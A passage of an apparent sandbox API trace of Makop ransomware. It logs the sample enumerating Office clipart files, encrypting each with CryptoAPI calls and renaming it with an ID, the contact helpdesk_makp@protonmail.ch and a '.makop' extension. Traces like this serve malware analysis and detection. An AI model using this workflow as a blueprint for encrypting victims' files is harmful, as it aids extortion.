hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.715] GetProcessHeap () returned 0x48a0000 [0149.715] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.715] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.717] CloseHandle (hObject=0xf0) returned 1 [0149.717] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0149.717] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF") returned 63 [0149.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.718] GetProcessHeap () returned 0x48a0000 [0149.718] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.718] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.723] GetProcessHeap () returned 0x48a0000 [0149.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.723] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.723] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.723] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.725] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10cb8, lpOverlapped=0x0) returned 1 [0149.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10cc0, dwBufLen=0x10cc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10cc0) returned 1 [0149.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10cc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10cc0, lpOverlapped=0x0) returned 1 [0149.729] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.729] SetEndOfFile (hFile=0xf0) returned 1 [0149.737] GetProcessHeap () returned 0x48a0000 [0149.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.737] GetProcessHeap () returned 0x48a0000 [0149.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.738] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.740] CloseHandle (hObject=0xf0) returned 1 [0149.740] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0149.740] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 63 [0149.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.743] GetProcessHeap () returned 0x48a0000 [0149.743] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.743] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.743] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0149.748] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.748] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.748] GetProcessHeap () returned 0x48a0000 [0149.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.748] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.749] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7a04, lpOverlapped=0x0) returned 1 [0149.751] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a10, dwBufLen=0x7a10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a10) returned 1 [0149.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a10, lpOverlapped=0x0) returned 1 [0149.752] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.753] SetEndOfFile (hFile=0xf0) returned 1 [0149.760] GetProcessHeap () returned 0x48a0000 [0149.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.760] GetProcessHeap () returned 0x48a0000 [0149.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.763] CloseHandle (hObject=0xf0) returned 1 [0149.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0149.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF") returned 63 [0149.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.764] GetProcessHeap () returned 0x48a0000 [0149.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.765] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0149.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.769] GetProcessHeap () returned 0x48a0000 [0149.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.770] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.771] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.771] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xee4a, lpOverlapped=0x0) returned 1 [0149.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee50, dwBufLen=0xee50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee50) returned 1 [0149.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee50, lpOverlapped=0x0) returned 1 [0149.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.776] SetEndOfFile (hFile=0xf0) returned 1 [0149.784] GetProcessHeap () returned 0x48a0000 [0149.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.784] GetProcessHeap () returned 0x48a0000 [0149.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.785] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.786] CloseHandle (hObject=0xf0) returned 1 [0149.787] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0149.787] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF") returned 63 [0149.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.789] GetProcessHeap () returned 0x48a0000 [0149.789] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.789] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.790] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0149.794] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.794] GetProcessHeap () returned 0x48a0000 [0149.794] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.794] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.794] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.794] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.795] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.795] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.795] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.796] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b96, lpOverlapped=0x0) returned 1 [0149.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ba0, dwBufLen=0x8ba0 | out: pbData=0x6370020*, 